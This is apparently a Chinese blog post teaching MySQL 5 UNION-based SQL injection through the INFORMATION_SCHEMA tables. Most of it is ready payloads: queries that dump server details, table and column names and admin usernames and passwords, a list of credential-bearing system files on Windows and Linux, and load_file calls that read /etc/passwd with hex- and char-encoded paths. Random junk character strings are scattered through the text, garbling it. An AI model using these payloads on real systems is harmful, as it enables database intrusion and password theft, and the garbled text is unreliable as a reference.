mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。


& K! ^( }, \1 A6 U
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
中记录了Mysql中所有
0 M, D- a, S  @$ G- J存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
明。
1.得到所有数据库名：
. e" D5 w' I" l+ f/ V|SCHEMATA ->存储数据库名的表
7 D4 r* r5 q+ ]9 X|—字段：SCHEMA_NAME ->数据库名称
8 f5 A' K6 u; Y. y: _7 I' M5 U( Y4 T' _
|TABLES ->存储表名
3 R% M8 {. y8 z/ R|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|—字段：TABLE_NAME ->存储表的表名

9 e+ U0 {8 z9 i5 L|COLUMNS ->存储的字段名表
|—字段：TABLE_SCHEMA ->该字段所属数据库名
|—字段：TABLE_NAME ->存储所属表的名称

|—字段：COLUMN_NAME ->该字段的名称
3 c7 ]$ C' u! D$ ?
, R9 X$ t1 d# d  a) d1 l3 ?3 ^! ^#########################################################################
2 K6 F! |, P7 o' x+ f! f##
3 B- @7 E$ u, J5 i
0×001 获取系统信息:
1 Y5 Y) R5 ]' k$ Z  C( l- n& n
union select 1,2,3,4,5,concat
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
- a0 y: r. e. D9 C+ h(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
# s* g1 f: ^3 o' r
4 o! b4 D, B& b& j/*

- b3 H' S6 Q7 d/ R; o$ W@@global.version_compile_os 获取系统版本

- A% s: y; v- w9 H@@datadir 数据库路径
% U( y* b1 v! L( W9 adatabase() 当前数据库名称
/ C' j1 x0 r1 J2 G4 L0x3c62723e 换行HEX值
9 M# H/ }$ i+ t; n6 ~7 [: P+ b1 I
2 N$ L: y6 N1 M*/
1 Y- d1 R: H5 l6 ~) x- Y6 c
######################################################################
& l$ Y$ w7 _3 J+ e+ e
( ^- I* u7 g! Q# D+ J0 w+ u1 r" o7 s0×002 获取表名

union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
information_schema.tables where table_schema=0x67617264656e /*
: b# s; I! X- J* s1 ~7 v8 X/ O  X; A
/*

0x67617264656e 为当前数据库名
( [; V! X/ G& [3 g6 p  w
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
# k, a& h: V- c) w' k5 _' \* d
" _3 y, G& ^3 `& w( M2 r4 d  p5 w1 t*/
0 d0 j# ~! n2 M3 Y% x. e
! n: ?; z0 \' `4 W3 D- E  V8 [# x2 i######################################################################

0×003 获取字段
  W- v$ N! V" d% }$ z+ a0 P
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
8 r/ u( `( i4 n0 |& L8 @. F- j  Pinformation_schema.columns where table_name=0x61646d696e and
& N8 E& L# N: c( v5 h& E
# U6 B" ^+ G6 g
table_schema=0x67617264656e limit 1 /*

  M9 X: j7 v: O/*

" v9 f  L6 T) mgroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

: S; Z+ }2 w0 }$ L* J( z$ t# O0x61646d696e ->选择一个表

0x67617264656e ->数据库名
9 u# w) q" k7 N
*/

#####################################################################

+ u8 M" ~6 ]6 }2 P' t7 S" a0×004 获取数据

7 c% x0 N, m% V/ Z7 U, M; iunion select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

! {: ^" {6 M3 Y( runion select 1,group_concat(id),group_concat(adname),4,5,group_concat
(adpassword),6,7,8 from admin
! y- Z$ U9 W. o! W$ Z# y
/*
+ l4 ~' ?" p6 B8 J
0x3c62723e 换行符号HEX编码

, g" g! a6 V4 X7 _group_concat 同时获得该字段所有数据
' j6 A; L* \9 l1 C6 h8 U& `+ o$ r
* {  g/ r1 O# f4 ], C& ]/ J+ p1 [: A*/
! z9 U. R* Z' Z- ^1 e
7 Z. ]" _4 C0 m4 D

/ r8 A5 V4 ^5 R/ M, Z! o

顺便添加一些mysql注入时非常有用的一些东西

简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。

$ d( v4 |; R- M. Z, x1:system_user() 系统用户名
: W1 C; S( V5 @8 c2:user()        用户名
3:current_user()  当前用户名
4:session_user()连接数据库的用户名
3 m1 U5 I* Y( P5 U5:database()    数据库名
6:version()     MYSQL数据库版本
7:load_file()   MYSQL读取本地文件的函数
( P; y7 P' F4 c! d8 k' U8@datadir     读取数据库路径
9@basedir    MYSQL 安装路径
10@version_compile_os   操作系统  Windows Server 2003,
2 l; Z* V* \, Z( Z收集的一些路径：
WINDOWS下:
& K# z3 g( Q; L* Qc:/boot.ini          //查看系统版本
1 N# Y" Q/ b. j5 dc:/windows/php.ini   //php配置信息
$ j9 z) x; y/ O4 j6 gc:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
. u+ m4 |9 h' v/ V% @" R9 J3 k2 Kc:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
! g. H& w9 L3 X9 Q7 m9 T) \c:\Program Files\Serv-U\ServUDaemon.ini
5 A4 d: ~, \: S) v; b' G1 {c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
: p2 b& C0 x, N8 U/ tc:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
4 F7 U6 Q; J, J0 yc:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
( X( H& S! ^0 O7 ]! B//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.
. F3 `: F1 @+ q3 F4 Q- Z- R3 a5 {
* p/ J. v! M) d
: J0 Z/ T/ c4 V, Y$ rc:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
  v9 i% B  e$ b$ vC:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
. Q# `- u4 Z4 H* E
LUNIX/UNIX下:
' ~7 g& n2 I7 y5 i: H/ c/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
% i: U( j% I5 M( H* \/usr/local/app/php5/lib/php.ini //PHP相关设置
2 B5 J! K; M7 b/etc/sysconfig/iptables //从中得到防火墙规则策略
; D0 D8 J- d8 i: V! f( {/etc/httpd/conf/httpd.conf // apache配置文件
! y0 N+ E% u+ v/ C, C- M/etc/rsyncd.conf //同步程序配置文件
% ~9 A, j( G( F/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
# |+ Z" p, o5 y' }$ P& p, J1 v/etc/issue.net
, s  Y% y0 f: I3 }: g2 b% M* q/usr/local/app/php5/lib/php.ini //PHP相关设置
3 }$ d; w5 L3 K! `" {7 M3 s4 w/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
- s" K: V* \. Y# K3 |1 O; _6 y/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
$ m+ [5 B: Q  N- C1 ^/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
( \3 G, D; S8 H+ ?6 t: ~! W/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
. b/ T$ E- Z& k, I- k/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
! s5 E$ h- S' g* f( qreplace(load_file(0x2F6574632F706173737764),0x3c,0×20)
, S. i3 H+ k! M* T% U% preplace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
# u4 X5 Z, E  X- v0 o; H上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
+ R1 {/ l4 e5 o8 S' i8 q
+ u$ J8 p6 m- |6 X& _